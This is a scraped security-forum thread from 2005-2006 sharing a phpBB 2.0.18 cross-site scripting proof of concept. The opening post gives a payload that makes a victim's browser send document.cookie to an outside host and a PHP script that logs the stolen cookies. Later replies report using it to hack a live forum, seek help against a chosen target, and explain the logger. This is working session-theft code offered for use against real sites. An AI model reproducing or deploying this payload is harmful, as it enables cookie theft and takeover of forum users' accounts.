Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
May 25, 2012
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: jimysakura
New Today: 0
New Yesterday: 3
Overall: 8201

People Online:
Visitors: 212
Members: 0
Total: 212
milw0rm
·[webapps / 0day] - appRain CMF Arbitrary PHP File Upload Vulnerability
·[local exploits] - OpenOffice OLE Importer DocumentSummaryInformatio n Stream Handling
·[local exploits] - Mod_Auth_OpenID Session Stealing Vulnerability
·[dos / poc] - Symantec End Point Protection 11.x & Symantec Network Access Control 11.x LCE
·[dos / poc] - Tftpd32 DHCP Serve 4.00 Denial Of Service
·[webapps / 0day] - Ajaxmint Gallery 1.0 Local File Inclusion
·[webapps / 0day] - RuubikCMS 1.1.0 Beta XSS / Disclosure / Directory Traversal
·[webapps / 0day] - Insight Creative Sql injection/Reflected XSS Vulnerabilties
·[webapps / 0day] - AFFY (index.php) Blind Sql Injection Vulnerability
·[webapps / 0day] - ezContents (1.x.x , 2.0.3) Blind injection/Reflected XSS Vulnerabilties

read more...
PacketStorm News
·Mandriva Linux Security Advisory 2012-080
·Red Hat Security Advisory 2012-0688-01
·Debian Security Advisory 2479-1
·Debian Security Advisory 2478-1
·Ubuntu Security Notice USN-1450-1
·Drupal BrowserID 7.x Cross Site Request Forgery
·Drupal Taxonomy List 6.x Cross Site Scripting
·Drupal Search API 7.x Cross Site Scripting
·Secunia Security Advisory 49200
·Secunia Security Advisory 49235

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> 2.0.18 Proof
Post new topic  Reply to topic View previous topic :: View next topic 
2.0.18 Proof
PostPosted: Fri Dec 23, 2005 12:20 am Reply with quote
syntax9
Active user
Active user
 
Joined: Dec 21, 2005
Posts: 33




Topic : phpBB <= 2.0.18 XSS Cookie Disclosure Proof of Concept

ExploitAlert Id : 193

Credit : jet

Date : 22.12.2005

Exploit Code :

# SecurityReason Source :
# http://securityreason.com/achievement_securityalert/29
# More : http://securityreason.com/achievement
/******************************************************************

phpBB <= 2.0.18 XSS Cookie Disclosure Proof of Concept
-- 'the html is on exploit'

original exploit by: Maksymilian Arciemowicz (cXIb8O3) - 12/16/2005
-- http://securityreason.com/securityalert/269/
proof of concept by: jet
-- http://jet.carbon-4.net/

develop a pure, lucid mind, not
depending upon sound, flavor,
touch, odor, or any quality.
- the diamond sutra

******************************************************************/

phpbb code:

<B C=">" ''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));
'sss=`i=new/**/Image();i.src='http://www.url.com/cookie/c.php?c='+document.cookie;this.s
ss=null`style='font-size:0; X="<B ">'</B>

c.php:

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("m/d/Y g:i:s a");
$referer=getenv ('HTTP_REFERER');
$fl = fopen('log.txt', 'a');
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");
fclose($fl);

?>
View user's profile Send private message
PostPosted: Fri Dec 23, 2005 12:22 am Reply with quote
syntax9
Active user
Active user
 
Joined: Dec 21, 2005
Posts: 33




I can not get it to work myself on 1 site did not try others. If someone does let me know.
View user's profile Send private message
PostPosted: Fri Dec 23, 2005 9:42 am Reply with quote
super
Active user
Active user
 
Joined: Sep 19, 2005
Posts: 30




its working nicely Smile one phpBB 2.0.18 site hacked buy me for using this exploit Smile
View user's profile Send private message
PostPosted: Sat Dec 24, 2005 8:45 pm Reply with quote
syntax9
Active user
Active user
 
Joined: Dec 21, 2005
Posts: 33




finally got this to work on the site i wanted it to. but only pulled my cookie. suggestions?
View user's profile Send private message
PostPosted: Sat Dec 31, 2005 1:16 pm Reply with quote
WaterBird
Active user
Active user
 
Joined: May 16, 2005
Posts: 37




syntax9 wrote:
finally got this to work on the site i wanted it to. but only pulled my cookie. suggestions?


I think forum you wan't to sploit don't have the html tags enabled.
View user's profile Send private message
PostPosted: Thu Jan 05, 2006 5:16 am Reply with quote
chuan
Regular user
Regular user
 
Joined: Jan 05, 2006
Posts: 7




newbie here.can teach me how to go about it? Very Happy
View user's profile Send private message
PostPosted: Sat Jan 07, 2006 10:25 pm Reply with quote
rohit507
Beginner
Beginner
 
Joined: Dec 22, 2005
Posts: 3




I am a true PHP newb but i have beeen reading up a little, neway how would i write a cookie.php which will allow me to log multiple cookies and not over write the ones previously logged
View user's profile Send private message
PostPosted: Sun Jan 08, 2006 12:45 am Reply with quote
syntax9
Active user
Active user
 
Joined: Dec 21, 2005
Posts: 33




Code:
$fl = fopen('log.txt', 'a');
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");



opens the file,
then writes to the files.

does not produce a new file, just edits the exisiting.
be sure to CHMOD the File 777 so the "target forum" can open and write to it.

GL
View user's profile Send private message
PostPosted: Sun Jan 08, 2006 4:19 am Reply with quote
chuan
Regular user
Regular user
 
Joined: Jan 05, 2006
Posts: 7




syntax9 wrote:
Code:
$fl = fopen('log.txt', 'a');
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");



opens the file,
then writes to the files.

does not produce a new file, just edits the exisiting.
be sure to CHMOD the File 777 so the "target forum" can open and write to it.

GL


??
where to start?can elaborate?
View user's profile Send private message
2.0.18 Proof
  www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2010 Janek Vind "waraxe"

Page Generation: 0.096 Seconds